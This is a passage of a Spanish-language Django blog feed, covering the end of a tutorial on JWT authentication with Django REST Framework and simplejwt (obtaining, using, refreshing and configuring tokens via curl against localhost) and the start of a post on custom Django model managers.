IsAuthenticated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Protegida&lt;/span&gt;(APIView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    permission_classes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [IsAuthenticated]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esta vista está protegida&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenObtainPairView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_obtain_pair&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/refresh/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenRefreshView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;protegida/&amp;#39;&lt;/span&gt;, Protegida&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;protegida&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si probamos hacer una petición a la url &lt;em&gt;/protegida/&lt;/em&gt; nos advertirá de que no estamos mandando las credenciales adecuadas de autenticación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl http://127.0.0.1:8000/protegida/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authentication credentials were not provided.&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no sabes usar curl revisa mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;comandos básicos de GNU/Linux&lt;/a&gt;&#xA; donde explico lo básico. También puedes usar Postman, http o cualquier otra opción.&lt;/p&gt;&#xA;&lt;h2 id=&#34;obtener-tokens-jwt-en-django&#34;&gt;Obtener tokens JWT en Django&lt;/h2&gt;&#xA;&lt;p&gt;Si ahora hacemos una petición POST a la url &lt;em&gt;/api/token/&lt;/em&gt;, enviando un nombre de usuario y contraseñas válidas tendremos de respuesta un par de tokens. Yo usé un usuario que cree, pero tú puedes usar tu superusuario o crear uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -d &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username=kyoko&amp;amp;password=contrasenasegura&amp;#34;&lt;/span&gt; -X POST http://localhost:8000/api/token/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;refresh&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTYyMzQ0NjEzNiwianRpIjoiMjcyOTI0OTkwOGVhNGQ2ZjkxMDFiMGI4ZjhlZDZkY2QiLCJ1c2VyX2lkIjoyfQ.zkCWbKBnkDCukZVB8cHiCnrUOHRl1vWF6Oqg29IFT7A&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzMzYwMDM2LCJqdGkiOiIzYzY2MDI3YzhiMjE0NmM4OGQ5NTY0MGUxYzc1ODAxYSIsInVzZXJfaWQiOjJ9.juG7sbemKUOTEnzNv4XiXCfChrG3q9wBw4Sj0g1L9EM&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTApiEndPoint.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTApiEndPoint.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de Django Rest Framework que pide username y Password&#34; width=&#34;1223&#34; height=&#34;848&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;token-de-acceso-en-jwt&#34;&gt;Token de acceso en JWT&lt;/h3&gt;&#xA;&lt;p&gt;El token de acceso sería el equivalente al token de acceso de DRF; usaremos este JWT para autenticarnos ante Django; es decir, para decirle a Django quienes somos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;token-de-actualizacion-en-jwt&#34;&gt;Token de actualización en JWT&lt;/h3&gt;&#xA;&lt;p&gt;El token de acceso &lt;strong&gt;tiene una fecha de caducidad, una vez que esta fecha llegue dejará de ser valido&lt;/strong&gt;, podemos crear otro sin necesidad de mandar nuestro usuario y contraseña usando &lt;strong&gt;únicamente el token de actualización.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;contenido-del-token-jwt&#34;&gt;Contenido del Token JWT&lt;/h2&gt;&#xA;&lt;p&gt;Si decodificas el token, podrás obtener su contenido. Ya lo he hecho aquí por ti.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjangoContenido.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjangoContenido.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Partes de un JWT: encabezado, contenido y firma.&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Observa como en la parte de contenido (data) se aprecia que el &lt;em&gt;user_id&lt;/em&gt; es igual a 2, el cual es el id o primary key del usuario que obtuvo el token. El primer usuario en mi caso es el superusuario.&lt;/p&gt;&#xA;&lt;h2 id=&#34;autenticacion-con-django-y-jwt&#34;&gt;Autenticación con Django y JWT&lt;/h2&gt;&#xA;&lt;p&gt;Ahora intentemos usar el token de acceso que obtuvimos para acceder a la vista protegida. Asegurate de estar usando el token &lt;em&gt;&amp;ldquo;access&amp;rdquo;&lt;/em&gt;, no el de &lt;em&gt;&amp;ldquo;refresh&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzxOTA5MmY4ZTJhNzNkZDM3YyIsInVzZXJfaWQiOjJ9.ibQPgQuEgnuTY6PGja-GLZv4TrAQtKKCgue_muJKlE4&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/protegida/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esta vista está protegida&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;caducidad-de-un-jwt&#34;&gt;Caducidad de un JWT&lt;/h2&gt;&#xA;&lt;p&gt;Si seguiste el ejemplo y dejaste que pasaran unos minutos te darás cuenta de que el token de acceso caduca y ya no será válido. &lt;strong&gt;El token de acceso tiene una duración predeterminada de 5 minutos&lt;/strong&gt;, esto para evitar problemas si alguien logra interceptarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzxOTA5MmY4ZTJhNzNkZDM3YyIsInVzZXJfaWQiOjJ9.ibQPgQuEgnuTY6PGja-GLZv4TrAQtKKCgue_muJKlE4&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/protegida/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Given token not valid for any token type&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_not_valid&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;messages&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_class&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;AccessToken&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_type&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Token is invalid or expired&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;actualizar-el-token-de-acceso&#34;&gt;Actualizar el token de acceso&lt;/h2&gt;&#xA;&lt;p&gt;Para obtener otro token válido basta que mandemos nuestro token de actualización al endpoint que creamos en &lt;em&gt;/api/token/refresh/&lt;/em&gt;. &lt;strong&gt;El token de actualización tiene una duración predeterminada de 24 horas.&lt;/strong&gt; Pasadas las 24 horas ya no podremos refrescar el token de acceso y tendremos que enviar nuevamente un nombre de usuario y contraseña.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -d &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;refresh=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTYyMzQ0NjEzNiwianRpIjoiMjcyOTI0OTkwOGVhNGQ2ZjkxMDFiMGI4ZjhlZDZkY2QiLCJ1c2VyX2lkIjoyfQ.zkCWbKBnkDCukZVB8cHiCnrUOHRl1vWF6Oqg29IFT7A&amp;#34;&lt;/span&gt; -X POST http://127.0.0.1:8000/api/token/refresh/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzMzY1NDU3LCJqdGkiOiJlZjljNWFiYjI1MzU0YWJjYjc4YWRmNTI2MDA2OTEwNCIsInVzZXJfaWQiOjJ9.RPrfobpIF52W0wdNJk4zLYcgWpymZdgAPFxOIH0KEsk&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuestra aplicación nos devolverá un nuevo token de acceso que podemos usar nuevamente para autenticarnos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;modificar-los-valores-por-defecto-de-los-jwt&#34;&gt;Modificar los valores por defecto de los JWT&lt;/h2&gt;&#xA;&lt;p&gt;Para hacerlo vamos al archivo de configuraciones de Django y creamos una variable llamada SIMPLE_JWT, en la que podemos sobreescribir los datos que querramos y colocarles la duración que más te convenga.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; timedelta&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SIMPLE_JWT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ACCESS_TOKEN_LIFETIME&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; timedelta(minutes&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;REFRESH_TOKEN_LIFETIME&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; timedelta(days&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; ...}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por favor revisa &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-rest-framework-simplejwt.readthedocs.io/en/latest/settings.html#refresh-token-lifetime&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de django-rest-framework-simplejwt&lt;/a&gt;&#xA; para ver todas las variables de configuración para tus JWT en Django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;problemas-con-los-jwt&#34;&gt;Problemas con los JWT&lt;/h2&gt;&#xA;&lt;p&gt;Seguramente no quieres que tus usuarios estén colocando nombre de usuario y contraseña cada vez que usen tu aplicación, probablemente quieres conservar los valores de estos dos tokens para usarlos después y te estás preguntando cual es la opción correcta, ¿Local Storage o en las cookies?&lt;/p&gt;&#xA;&lt;p&gt;Pues bien, la interrogante trae una serie de preguntas muy difíciles de contestar que dividen las opiniones de los desarrolladores y nos dejan sin una respuesta clara:&lt;/p&gt;&#xA;&lt;p&gt;¿Como lidio con un JWT con información o permisos desactualizados? ¿Cuál es la mejor manera de invalidar un JWT un servidor externo o cambiar la llave critptográfica? ¿Qué pasa si la información que guardo en el JWT excede el tamaño permitido por cookie? Si en lugar de guardar contenido en el JWT solo guardo el identificador de usuario, ¿no es lo mismo que una cookie?&lt;/p&gt;&#xA;&lt;p&gt;Para la siguiente publicación traduciré una entrada bastante popular llamada &amp;ldquo;Stop using JWT for sessions&amp;rdquo; (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/no-uses-jwt-para-gestionar-sesiones-traduccion/&#34;&gt;No uses JWT para gestionar sesiones&lt;/a&gt;&#xA;), con una postura muy fuerte, que trata sobre esas preguntas.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los JWT (JSON Web Tokens) se han popularizado enormemente, incluso algunos las consideran un reemplazo de los clásicos Tokens que usan otros frameworks, tales como Django Rest Framework. Usar JWT o Tokens normales (SWT) permite guardar toda la información de nuestra sesión directo en el token y además están firmados criptográficamente, suena bien ¿no? Sigue leyendo hasta el final para profundizar al respecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-jwt&#34;&gt;¿Qué es JWT?&lt;/h2&gt;&#xA;&lt;p&gt;JWT es un estándar para la creación de tokens de acceso basado en JSON, para el intercambio de información entre dos partes. Estos tokens, y su contenido, pueden ser verificados porque están firmados digitalmente. Esta firma criptográfica garantiza &lt;strong&gt;que el contenido no ha sido alterado y que el emisor es quien dice ser&lt;/strong&gt;. Lo anterior los vuelve perfectos para:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Managers o manejadores personalizados en Django</title>
      <link>https://coffeebytes.dev/es/django/managers-o-manejadores-personalizados-en-django/</link>
      <pubDate>Fri, 28 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/managers-o-manejadores-personalizados-en-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Un Manager (o manejador) es la interfaz a través de la cual se proveen las operaciones de consulta o queries de la base de datos a los modelos de Django. Sí, me refiero a ese &lt;em&gt;objects&lt;/em&gt; que va después del nombre de tu modelo; &lt;em&gt;TuModelo.objects.all()&lt;/em&gt; y &lt;em&gt;Tumodelo.objects.filter()&lt;/em&gt;. Todos los modelos de Django tienen al menos un manager. Cada vez que usas el manejador de objetos (me referiré a él como manager de aquí en adelante) en una consulta a la base de datos usando el ORM de Django estás haciendo uso de su &lt;em&gt;object manager&lt;/em&gt; predeterminado. Estos managers en Django pueden personalizarse para modificar los objetos que devuelve una consulta y podemos personalizarlos a nuestro gusto.&lt;/p&gt;&#xA;&lt;p&gt;Antes de empezar, si no sabes lo básico de Django puedes empezar con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;la guia definitiva de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, si estás buscando optimizar tu aplicación de Django, probablemente mi entrada donde hablo sobre como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;mejorar el rendimiento de apps lentas de Django&lt;/a&gt;&#xA; te sirva más.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-object-manager-de-django&#34;&gt;El object manager de Django&lt;/h2&gt;&#xA;&lt;p&gt;Si has usado el ORM de Django, seguramente ya habrás usado el manager por defecto. Objects es el nombre del manejador por defecto y &lt;strong&gt;se encarga de devolver todos los objetos&lt;/strong&gt; de un modelo de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;modificando-el-manager-por-defecto&#34;&gt;Modificando el manager por defecto&lt;/h2&gt;&#xA;&lt;p&gt;Quizás queremos tener dos managers, uno que devuelva todos los objetos y otro que devuelva los objetos más recientes, o los objetos creados por un usuario en particular, o los objetos filtrados por un termino.&lt;/p&gt;&#xA;&lt;p&gt;Empecemos por modificar el nombre del manager que viene por defecto, para hacerlo basta con que lo asignemos al objeto Manager de models.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      stem &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager() &lt;span style=&#34;color:#78787e&#34;&gt;#Esto te permitira llamar Videogame.stem.all() en lugar de Videogame.objects.all()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Y esto para que? Pues que ahora podemos llamar al &lt;em&gt;object manager&lt;/em&gt; de una manera diferente, lo cual puede mejorar la legibilidad de nuestro código, pero no es la razón más importante.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  